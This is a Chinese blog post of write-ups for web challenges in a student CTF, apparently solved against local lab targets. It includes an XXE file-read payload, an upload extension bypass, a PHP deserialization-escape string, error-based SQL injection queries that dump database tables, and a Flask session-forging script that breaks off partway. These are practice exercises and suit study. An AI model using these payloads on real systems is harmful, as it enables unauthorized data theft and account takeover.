Z1d10tのBlog

A note for myself,have fun!

  1. 1. http
  2. 2. Web入门指北
  3. 3. cookie
  4. 4. 彼岸的flag
  5. 5. gas!gas!gas!
  6. 6. moe图床
  7. 7. 了解你的座驾
  8. 8. 大海捞针
  9. 9. 大海捞针
  10. 10. 夺命十三枪
  11. 11. signin
  12. 12. 出去旅游的心海
  13. 13. moworld
    1. 13.0.1. 条件:

持续更新

完善自己 新生赛都打不了一点

这次靶机开启方式不错捏 挺新颖的

http

正常请求参数考点 payload如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST /?UwU=u HTTP/1.1
Host: localhost:63279
Cache-Control: max-age=0
sec-ch-ua:
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Upgrade-Insecure-Requests: 1
User-Agent: MoeBrowser
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: character=admin
Connection: close
X-Forwarded-For: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

Luv=u

Web入门指北

pdf末尾有一串16进制码 转了就行

cookie

随便注册个账号然后登录将cookie base64解码

改成如下

img

然后打入cookie 访问/flag 即可

彼岸的flag

F12 找就有

gas!gas!gas!

看清规则

img

油门和抓地成反比例 方向要反打 其次要在0.5秒进行下一步 直接脚本梭哈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from requests import *
s = session()
url = 'http://localhost:64026/'
payload = {"driver":"admin","steering_control":0,"throttle":1}
payload_1 = {"driver":"admin","steering_control":1,"throttle":0} #弯道向左,抓地力太小了!
payload_2 = {"driver":"admin","steering_control":-1,"throttle":0} #弯道向右,抓地力太小了!
payload_3 = {"driver":"admin","steering_control":0,"throttle":1} #弯道直行,保持这个速度
payload_4 = {"driver":"admin","steering_control":1,"throttle":2} #弯道向左,抓地力太大了!
payload_5 = {"driver":"admin","steering_control":-1,"throttle":2}#弯道向右,抓地力太大了!
payload_6 = {"driver":"admin","steering_control":-1,"throttle":1} #弯道向右,保持这个速度
payload_7 = {"driver":"admin","steering_control":1,"throttle":1} #弯道向左,保持这个速度
payload_8 = {"driver":"admin","steering_control":0,"throttle":2}#弯道直行,抓地力太大了!
payload_9 = {"driver":"admin","steering_control":0,"throttle":0}#弯道直行,抓地力太小了!
r = s.post(url=url,data=payload)
for i in range(6):
if "弯道向左,抓地力太小了!" in r.text:
r = s.post(url=url,data=payload_1)
elif "弯道向右,抓地力太小了!" in r.text:
r = s.post(url=url,data=payload_2)
elif "弯道直行,保持这个速度" in r.text:
r = s.post(url=url,data=payload_3)
elif "弯道向左,抓地力太大了!" in r.text:
r = s.post(url=url,data=payload_4)
elif "弯道向右,抓地力太大了!" in r.text:
r = s.post(url=url,data=payload_5)
elif "弯道向右,保持这个速度" in r.text:
r = s.post(url=url,data=payload_6)
elif "弯道向左,保持这个速度" in r.text:
r = s.post(url=url,data=payload_7)
elif "弯道直行,抓地力太大了!" in r.text:
r = s.post(url=url,data=payload_8)
elif "弯道直行,抓地力太小了!" in r.text:
r = s.post(url=url,data=payload_9)

print(r.text)

img

moe图床

给了源码upload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
$targetDir = 'uploads/';
$allowedExtensions = ['png'];


if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
$file = $_FILES['file'];
$tmp_path = $_FILES['file']['tmp_name'];

if ($file['type'] !== 'image/png') {
die(json_encode(['success' => false, 'message' => '文件类型不符合要求']));
}

if (filesize($tmp_path) > 512 * 1024) {
die(json_encode(['success' => false, 'message' => '文件太大']));
}

$fileName = $file['name'];
$fileNameParts = explode('.', $fileName);

if (count($fileNameParts) >= 2) {
$secondSegment = $fileNameParts[1];
if ($secondSegment !== 'png') {
die(json_encode(['success' => false, 'message' => '文件后缀不符合要求']));
}
} else {
die(json_encode(['success' => false, 'message' => '文件后缀不符合要求']));
}

$uploadFilePath = dirname(__FILE__) . '/' . $targetDir . basename($file['name']);

if (move_uploaded_file($tmp_path, $uploadFilePath)) {
die(json_encode(['success' => true, 'file_path' => $uploadFilePath]));
} else {
die(json_encode(['success' => false, 'message' => '文件上传失败']));
}
}
else{
highlight_file(__FILE__);
}
?>

这道题一开始没做出来 有点被吓住了 后来发现没啥

比较重要的是这一块

1
2
3
4
5
6
7
8
9
10
11
$fileName = $file['name'];
$fileNameParts = explode('.', $fileName);

if (count($fileNameParts) >= 2) {
$secondSegment = $fileNameParts[1];
if ($secondSegment !== 'png') {
die(json_encode(['success' => false, 'message' => '文件后缀不符合要求']));
}
} else {
die(json_encode(['success' => false, 'message' => '文件后缀不符合要求']));
}

然后其实我们将上传文件改为1.png.php即可 他只会检测索引为1的后缀是否为png

可能是apache的文件名解析特性吧

了解你的座驾

一道xxe

payload:

1
2
3
4
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE username [
<!ENTITY aaa SYSTEM "file:///flag"> ]>
<xml><name>&aaa;</name></xml>

值得注意的是要url编码后打入 不然没结果

大海捞针

?id=11-1000直接bp爆破就行了

大海捞针

表面是文件上传其实就是文件包含 然后就是hash处理缺陷 数组绕过就行 经典题型了

夺命十三枪

一道反序列化字符串逃逸 nm新生赛做这个是吧

给了源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
<?php
highlight_file(__FILE__);

require_once('Hanxin.exe.php');

$Chant = isset($_GET['chant']) ? $_GET['chant'] : '夺命十三枪';

$new_visitor = new Omg_It_Is_So_Cool_Bring_Me_My_Flag($Chant);

$before = serialize($new_visitor);
$after = Deadly_Thirteen_Spears::Make_a_Move($before);
echo 'Your Movements: ' . $after . '<br>';

try{
echo unserialize($after);
}catch (Exception $e) {
echo "Even Caused A Glitch...";
}
?>
<?php

if (basename($_SERVER['SCRIPT_FILENAME']) === basename(__FILE__)) {
highlight_file(__FILE__);
}

class Deadly_Thirteen_Spears{
private static $Top_Secret_Long_Spear_Techniques_Manual = array(
"di_yi_qiang" => "Lovesickness",
"di_er_qiang" => "Heartbreak",
"di_san_qiang" => "Blind_Dragon",
"di_si_qiang" => "Romantic_charm",
"di_wu_qiang" => "Peerless",
"di_liu_qiang" => "White_Dragon",
"di_qi_qiang" => "Penetrating_Gaze",
"di_ba_qiang" => "Kunpeng",
"di_jiu_qiang" => "Night_Parade_of_a_Hundred_Ghosts",
"di_shi_qiang" => "Overlord",
"di_shi_yi_qiang" => "Letting_Go",
"di_shi_er_qiang" => "Decisive_Victory",
"di_shi_san_qiang" => "Unrepentant_Lethality"
);

public static function Make_a_Move($move){
foreach(self::$Top_Secret_Long_Spear_Techniques_Manual as $index => $movement){
$move = str_replace($index, $movement, $move);
}
return $move;
}
}

class Omg_It_Is_So_Cool_Bring_Me_My_Flag{

public $Chant = '';
public $Spear_Owner = 'Nobody';

function __construct($chant){
$this->Chant = $chant;
$this->Spear_Owner = 'Nobody';
}

function __toString(){
if($this->Spear_Owner !== 'MaoLei'){
return 'Far away from COOL...';
}
else{
return "Omg You're So COOOOOL!!! " . getenv('FLAG');
}
}
}

?>

呢我们的最终目的就是最后一块

1
2
3
4
5
6
7
8
9
 function __toString(){
if($this->Spear_Owner !== 'MaoLei'){
return 'Far away from COOL...';
}
else{
return "Omg You're So COOOOOL!!! " . getenv('FLAG');
}
}
}

但是我们只能get修改Chant值 不能修改Spear_Owner

再看一眼有经典的先serialize 后unserialize 并且其中还有字符替换的 所以直接就能想到是反序列化字符串逃逸了

需要将";s:11:"Spear_Owner";s:6:"MaoLei";}一部分塞入一共35个

payload如下

1
di_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiang";s:11:"Spear_Owner";s:6:"MaoLei";}

signin

给了源码:

有点糊涂 之后看看其他师傅的wp理解一下吧

前面的一些处理理解起来有点不懂

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
from secrets import users, salt
import hashlib
import base64
import json
import http.server

with open("flag.txt","r") as f:
FLAG = f.read().strip()

def gethash(*items):
c = 0
for item in items:
if item is None:
continue
c ^= int.from_bytes(hashlib.md5(f"{salt}[{item}]{salt}".encode()).digest(), "big") # it looks so complex! but is it safe enough?
return hex(c)[2:]

assert "admin" in users
assert users["admin"] == "admin"

hashed_users = dict((k,gethash(k,v)) for k,v in users.items())

eval(int.to_bytes(0x636d616f686e69656e61697563206e6965756e63696165756e6320696175636e206975616e6363616361766573206164^8651845801355794822748761274382990563137388564728777614331389574821794036657729487047095090696384065814967726980153,160,"big",signed=True).decode().translate({ord(c):None for c in "\x00"})) # what is it?

def decrypt(data:str):
for x in range(5):
data = base64.b64encode(data).decode() # ummm...? It looks like it's just base64 encoding it 5 times? truely?
return data

__page__ = base64.b64encode("PCFET0NUWVBFIGh0bWw+CjxodG1sPgo8aGVhZD4KICAgIDx0aXRsZT5zaWduaW48L3RpdGxlPgogICAgPHNjcmlwdD4KICAgICAgICBbXVsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXSsoISFbXStbXSlbK1tdXV1bKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVsrW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW10re30pWyshIVtdXSsoISFbXStbXSlbKyEhW11dXSgoK3t9K1tdKVsrISFbXV0rKCEhW10rW10pWytbXV0rKFtdK3t9KVsrISFbXV0rKFtdK3t9KVshK1tdKyEhW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXV0rW11bKCFbXStbXSlbIStbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyghIVtdK1tdKVsrISFbXV0rKCEhW10rW10pWytbXV1dWyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoW10re30pWyshIVtdXSsoW11bW11dK1tdKVsrISFbXV0rKCFbXStbXSlbIStbXSshIVtdKyEhW11dKyghIVtdK1tdKVsrW11dKyghIVtdK1tdKVsrISFbXV0rKFtdW1tdXStbXSlbK1tdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXV0oKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKFtdW1tdXStbXSlbK1tdXSsoISFbXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXVtbXV0rW10pWytbXV0rKFtdW1tdXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyErW10rISFbXSshIVtdXSsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKygre30rW10pWyshIVtdXSsoW10rW11bKCFbXStbXSlbIStbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyghIVtdK1tdKVsrISFbXV0rKCEhW10rW10pWytbXV1dWyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoW10re30pWyshIVtdXSsoW11bW11dK1tdKVsrISFbXV0rKCFbXStbXSlbIStbXSshIVtdKyEhW11dKyghIVtdK1tdKVsrW11dKyghIVtdK1tdKVsrISFbXV0rKFtdW1tdXStbXSlbK1tdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXV0oKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKFtdW1tdXStbXSlbK1tdXSsoISFbXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW11dKyghW10rW10pWyErW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKygre30rW10pWyshIVtdXSsoISFbXStbXSlbK1tdXSsoW11bW11dK1tdKVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSkoIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10pKVshK1tdKyEhW10rISFbXV0rKFtdW1tdXStbXSlbIStbXSshIVtdKyEhW11dKSghK1tdKyEhW10rISFbXSshIVtdKShbXVsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXSsoISFbXStbXSlbK1tdXV1bKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVsrW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW10re30pWyshIVtdXSsoISFbXStbXSlbKyEhW11dXSgoISFbXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyErW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW11bW11dK1tdKVsrW11dKyghIVtdK1tdKVsrISFbXV0rKFtdW1tdXStbXSlbKyEhW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXV0rKFtdW1tdXStbXSlbIStbXSshIVtdKyEhW11dKyghW10rW10pWyErW10rISFbXSshIVtdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKCt7fStbXSlbKyEhW11dKyhbXStbXVsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXSsoISFbXStbXSlbK1tdXV1bKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVsrW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW10re30pWyshIVtdXSsoISFbXStbXSlbKyEhW11dXSgoISFbXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyErW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW11bW11dK1tdKVsrW11dKyghIVtdK1tdKVsrISFbXV0rKFtdW1tdXStbXSlbKyEhW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXV0rKCFbXStbXSlbIStbXSshIVtdXSsoW10re30pWyshIVtdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKCt7fStbXSlbKyEhW11dKyghIVtdK1tdKVsrW11dKyhbXVtbXV0rW10pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKFtdW1tdXStbXSlbKyEhW11dKSghK1tdKyEhW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXSkpWyErW10rISFbXSshIVtdXSsoW11bW11dK1tdKVshK1tdKyEhW10rISFbXV0pKCErW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10pKChbXSt7fSlbK1tdXSlbK1tdXSsoIStbXSshIVtdKyEhW10rW10pKyhbXVtbXV0rW10pWyErW10rISFbXV0pKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXV0rKFtdK3t9KVshK1tdKyEhW11dKyghIVtdK1tdKVsrW11dKyhbXSt7fSlbKyEhW11dKygre30rW10pWyshIVtdXSkoIStbXSshIVtdKyEhW10rISFbXSkKICAgICAgICB2YXIgXzB4ZGI1ND1bJ3N0cmluZ2lmeScsJ2xvZycsJ3Bhc3N3b3JkJywnL2xvZ2luJywnUE9TVCcsJ2dldEVsZW1lbnRCeUlkJywndGhlbiddO3ZhciBfMHg0ZTVhPWZ1bmN0aW9uKF8weGRiNTRmYSxfMHg0ZTVhOTQpe18weGRiNTRmYT1fMHhkYjU0ZmEtMHgwO3ZhciBfMHg0ZDhhNDQ9XzB4ZGI1NFtfMHhkYjU0ZmFdO3JldHVybiBfMHg0ZDhhNDQ7fTt3aW5kb3dbJ2FwaV9iYXNlJ109Jyc7ZnVuY3Rpb24gbG9naW4oKXtjb25zb2xlW18weDRlNWEoJzB4MScpXSgnbG9naW4nKTt2YXIgXzB4NWYyYmViPWRvY3VtZW50W18weDRlNWEoJzB4NScpXSgndXNlcm5hbWUnKVsndmFsdWUnXTt2YXIgXzB4NGZkMjI2PWRvY3VtZW50W18weDRlNWEoJzB4NScpXShfMHg0ZTVhKCcweDInKSlbJ3ZhbHVlJ107dmFyIF8weDFjNjFkOT1KU09OW18weDRlNWEoJzB4MCcpXSh7J3VzZXJuYW1lJzpfMHg1ZjJiZWIsJ3Bhc3N3b3JkJzpfMHg0ZmQyMjZ9KTt2YXIgXzB4MTBiOThlPXsncGFyYW1zJzphdG9iKGF0b2IoYXRvYihhdG9iKGF0b2IoXzB4MWM2MWQ5KSkpKSl9O2ZldGNoKHdpbmRvd1snYXBpX2Jhc2UnXStfMHg0ZTVhKCcweDMnKSx7J21ldGhvZCc6XzB4NGU1YSgnMHg0JyksJ2JvZHknOkpTT05bXzB4NGU1YSgnMHgwJyldKF8weDEwYjk4ZSl9KVtfMHg0ZTVhKCcweDYnKV0oZnVuY3Rpb24oXzB4Mjk5ZDRkKXtjb25zb2xlW18weDRlNWEoJzB4MScpXShfMHgyOTlkNGQpO30pO30KICAgIDwvc2NyaXB0Pgo8L2hlYWQ+Cjxib2R5PgogICAgPGgxPmV6U2lnbmluPC9oMT4KICAgIDxwPlNpZ24gaW4gdG8geW91ciBhY2NvdW50PC9wPgogICAgPHA+ZGVmYXVsdCB1c2VybmFtZSBhbmQgcGFzc3dvcmQgaXMgYWRtaW4gYWRtaW48L3A+CiAgICA8cD5Hb29kIEx1Y2shPC9wPgoKICAgIDxwPgogICAgICAgIHVzZXJuYW1lIDxpbnB1dCBpZD0idXNlcm5hbWUiPgogICAgPC9wPgogICAgPHA+CiAgICAgICAgcGFzc3dvcmQgPGlucHV0IGlkPSJwYXNzd29yZCIgdHlwZT0icGFzc3dvcmQiPgogICAgPC9wPgogICAgPGJ1dHRvbiBpZCA9ICJsb2dpbiI+CiAgICAgICAgTG9naW4KICAgIDwvYnV0dG9uPgo8L2JvZHk+CjxzY3JpcHQ+CiAgICBjb25zb2xlLmxvZygiaGVsbG8/IikKICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJsb2dpbiIpLmFkZEV2ZW50TGlzdGVuZXIoImNsaWNrIiwgbG9naW4pOwo8L3NjcmlwdD4KPC9odG1sPg==")

class MyHandler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
try:
if self.path == "/":
self.send_response(200)
self.end_headers()
self.wfile.write(__page__)
else:
self.send_response(404)
self.end_headers()
self.wfile.write(b"404 Not Found")
except Exception as e:
print(e)
self.send_response(500)
self.end_headers()
self.wfile.write(b"500 Internal Server Error")

def do_POST(self):
try:
if self.path == "/login":
body = self.rfile.read(int(self.headers.get("Content-Length")))
payload = json.loads(body)
params = json.loads(decrypt(payload["params"]))
print(params)
if params.get("username") == "admin":
self.send_response(403)
self.end_headers()
self.wfile.write(b"YOU CANNOT LOGIN AS ADMIN!")
print("admin")
return
if params.get("username") == params.get("password"):
self.send_response(403)
self.end_headers()
self.wfile.write(b"YOU CANNOT LOGIN WITH SAME USERNAME AND PASSWORD!")
print("same")
return
hashed = gethash(params.get("username"),params.get("password"))
for k,v in hashed_users.items():
if hashed == v:
data = {
"user":k,
"hash":hashed,
"flag": FLAG if k == "admin" else "flag{YOU_HAVE_TO_LOGIN_IN_AS_ADMIN_TO_GET_THE_FLAG}"
}
self.send_response(200)
self.end_headers()
self.wfile.write(json.dumps(data).encode())
print("success")
return
self.send_response(403)
self.end_headers()
self.wfile.write(b"Invalid username or password")
else:
self.send_response(404)
self.end_headers()
self.wfile.write(b"404 Not Found")
except Exception as e:
print(e)
self.send_response(500)
self.end_headers()
self.wfile.write(b"500 Internal Server Error")

if __name__ == "__main__":
server = http.server.HTTPServer(("", 9999), MyHandler)
server.serve_forever()

登录逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
if self.path == "/login":
body = self.rfile.read(int(self.headers.get("Content-Length")))
payload = json.loads(body)
params = json.loads(decrypt(payload["params"]))
print(params)
if params.get("username") == "admin":
self.send_response(403)
self.end_headers()
self.wfile.write(b"YOU CANNOT LOGIN AS ADMIN!")
print("admin")
return
if params.get("username") == params.get("password"):
self.send_response(403)
self.end_headers()
self.wfile.write(b"YOU CANNOT LOGIN WITH SAME USERNAME AND PASSWORD!")
print("same")
return
hashed = gethash(params.get("username"),params.get("password"))
for k,v in hashed_users.items():
if hashed == v:
data = {
"user":k,
"hash":hashed,
"flag": FLAG if k == "admin" else "flag{YOU_HAVE_TO_LOGIN_IN_AS_ADMIN_TO_GET_THE_FLAG}"
}
self.send_response(200)
self.end_headers()
self.wfile.write(json.dumps(data).encode())
print("success")
return
self.send_response(403)
self.end_headers()
self.wfile.write(b"Invalid username or password")

确认了json里username和password不能相同后,经过一个hash函数

1
2
3
4
5
6
7
def gethash(*items):
c = 0
for item in items:
if item is None:
continue
c ^= int.from_bytes(hashlib.md5(f"{salt}[{item}]{salt}".encode()).digest(), "big") # it looks so complex! but is it safe enough?
return hex(c)[2:]

这一坨处理是消除了类型限制,因此使用不同类型的username和password即可

1
{"username": "1", "password": 1}

经过decrypt函数的五次base64后post

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /login HTTP/1.1
Host: localhost:59959
Content-Length: 157
sec-ch-ua:
sec-ch-ua-platform: ""
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.91 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://localhost:59959
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:59959/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{"params":"VjJ4b2MxTXdNVmhVV0d4WFltMTRjRmxzVm1GTlJtUnpWR3R3VDJGNlJsWlZNV2gzVkZaRmQyTkVUbGhXYldoUVdsY3hVbVZWT1ZsaVIwWlNUVWR6ZVZVeFpIZFNiVlpXVFZSV1ZHRnRjems9"}

img

出去旅游的心海

抓包可以发现一个路由wp-content/plugins/visitor-logging/logger.php

获得源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
/*
Plugin Name: Visitor auto recorder
Description: Automatically record visitor's identification, still in development, do not use in industry environment!
Author: KoKoMi
Still in development! :)
*/

// 不许偷看!这些代码我还在调试呢!
highlight_file(__FILE__);

// 加载数据库配置,暂时用硬编码绝对路径
require_once('/var/www/html/wordpress/' . 'wp-config.php');

$db_user = DB_USER; // 数据库用户名
$db_password = DB_PASSWORD; // 数据库密码
$db_name = DB_NAME; // 数据库名称
$db_host = DB_HOST; // 数据库主机

// 我记得可以用wp提供的global $wpdb来操作数据库,等旅游回来再研究一下
// 这些是临时的代码

$ip = $_POST['ip'];
$user_agent = $_POST['user_agent'];
$time = stripslashes($_POST['time']);

$mysqli = new mysqli($db_host, $db_user, $db_password, $db_name);

// 检查连接是否成功
if ($mysqli->connect_errno) {
echo '数据库连接失败: ' . $mysqli->connect_error;
exit();
}

$query = "INSERT INTO visitor_records (ip, user_agent, time) VALUES ('$ip', '$user_agent', $time)";

// 执行插入
$result = mysqli_query($mysqli, $query);

// 检查插入是否成功
if ($result) {
echo '数据插入成功';
} else {
echo '数据插入失败: ' . mysqli_error($mysqli);
}

// 关闭数据库连接
mysqli_close($mysqli);

//gpt真好用

time处可以进行sql注入

这里我用的是报错注入

1
2
3
4
5
6
7
8
9
10
11
1 and extractvalue(1,concat(0x7e,user(),0x7e,database()))
1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))
#secret_of_kokomi,visitor_record 爆库
1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='secret_of_kokomi')))
#id,content 爆字段
1 and extractvalue(1,concat(0x7e,(select group_concat(id,content) from secret_of_kokomi))) 爆内容
1 and extractvalue(1,concat(0x7e,(mid((select group_concat(id,content) from secret_of_kokomi),47,70))))
适当拼接即可
moectf{Dig_Thr0ugh_Eve2y_C0de
Thr0ugh_Eve2y_C0de_3nd_Poss1bIl
e2y_C0de_3nd_Poss1bIlIti3s!!}

就是有一个问题这里报错注入最后flag显示不出来 要用mid函数去适当的调整 当时就是栽了跟头

还有一种就是直接(user())进行查询就行 。。。

moworld

一道很综合考察内网渗透的题目 非常的不错 可以学到很多知识

压缩包密码为上一题的flag

首先是一个flask框架 给了提示需要我们去伪造session

1
2
3
4
5
6
记录一下搭建留言板的过程
首先确定好web框架,笔者选择使用简单的flask框架。
然后使用强且随机的字符串作为session的密钥。
app.secret_key = "This-random-secretKey-you-can't-get" + os.urandom(2).hex()
最后再写一下路由和数据库处理的函数就完成啦!!
身为web手的我为了保护好服务器,写代码的时候十分谨慎,一定不会让有心人有可乘之机!

可以看到session的构成 然后去网上找了下 发现是某次的美团CTF上的题目

直接拿来脚本用即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
# -*- coding: utf-8 -*-
# @Time : 2022/9/17 9:11
# @Author : pysnow
import os

# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface


class MockApp(object):

def __init__(self, secret_key):
self.secret_key = "This-random-secretKey-you-can't-get"+secret_key


class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)

session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e

def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if (secret_key == None):
compressed = False
payload = session_cookie_value

if payload.startswith('.'):
compressed = True
payload = payload[1:]

data = payload.split(".")[0]

data = base64_decode(data)
if compressed:
data = zlib.decompress(data)

return data
else:
app = MockApp(secret_key)

si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.loads(session_cookie_value)
except Exception as e:
